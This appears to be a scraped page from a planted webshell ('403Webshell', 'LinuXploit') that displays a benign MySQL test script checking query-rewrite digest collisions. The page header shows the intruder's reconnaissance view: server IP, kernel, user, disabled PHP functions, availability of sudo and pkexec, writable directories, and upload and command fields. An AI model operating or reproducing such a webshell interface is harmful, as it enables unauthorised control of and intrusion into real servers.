403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.208.157
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/query_rewrite_plugins/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/query_rewrite_plugins/t/digest_collision.test
--echo #
--echo # Test of the case when two rewrite rule pattern have the same digest.
--echo #

SET sql_mode = 'PIPES_AS_CONCAT';

--source suite/query_rewrite_plugins/include/have_plugin_rewriter.inc

CREATE TABLE t1 ( a VARCHAR(10) );

--source suite/query_rewrite_plugins/include/install_rewriter_with_optional_columns.inc

--echo # This will supposedly fill up the token buffer.
--echo # We have to keep entries in the error log unique, we can't clear it.
SET @pattern1 =
  'SELECT * FROM test.t1 WHERE a = "digest_collision.test" ' ||
   repeat ( 'UNION SELECT * FROM test.t1 WHERE a = "digest_collision.test"',
            120 );

SET @pattern2 = concat ( @pattern1, 'UNION SELECT 1' );

SET @nonmatching_query = concat ( @pattern1, 'UNION SELECT 2' );

INSERT INTO query_rewrite.rewrite_rules ( pattern, replacement  )
VALUES ( @pattern1, 'SELECT "Rewrite rule #1"' ),
       ( @pattern2, 'SELECT "Rewrite rule #2"' );

CALL query_rewrite.flush_rewrite_rules();

SELECT group_concat(replacement) =
  'SELECT "Rewrite rule #1",SELECT "Rewrite rule #2"'
AS digests_indeed_collide
FROM query_rewrite.rewrite_rules
GROUP BY pattern_digest;

SELECT char_length(pattern) FROM query_rewrite.rewrite_rules;

PREPARE pattern1_stmt FROM @pattern1;
EXECUTE pattern1_stmt;

PREPARE pattern2_stmt FROM @pattern2;
EXECUTE pattern2_stmt;

SET @@global.rewriter_verbose = 2;

PREPARE nonmatching_stmt FROM @nonmatching_query;
EXECUTE nonmatching_stmt;

SET @@global.rewriter_verbose = DEFAULT;

--source suite/query_rewrite_plugins/include/load_error_log.inc

SELECT search_error_log( '[Note]', '%Plugin Rewriter reported: ''Statement "SELECT * FROM test.t1 ' ||
                           'WHERE a = "digest_collision.test"%' );

DROP TABLE t1;
--source suite/query_rewrite_plugins/include/uninstall_rewriter.inc
--source suite/query_rewrite_plugins/include/drop_error_log.inc
SET sql_mode = DEFAULT;

Youez - 2016 - github.com/yon3zu
LinuXploit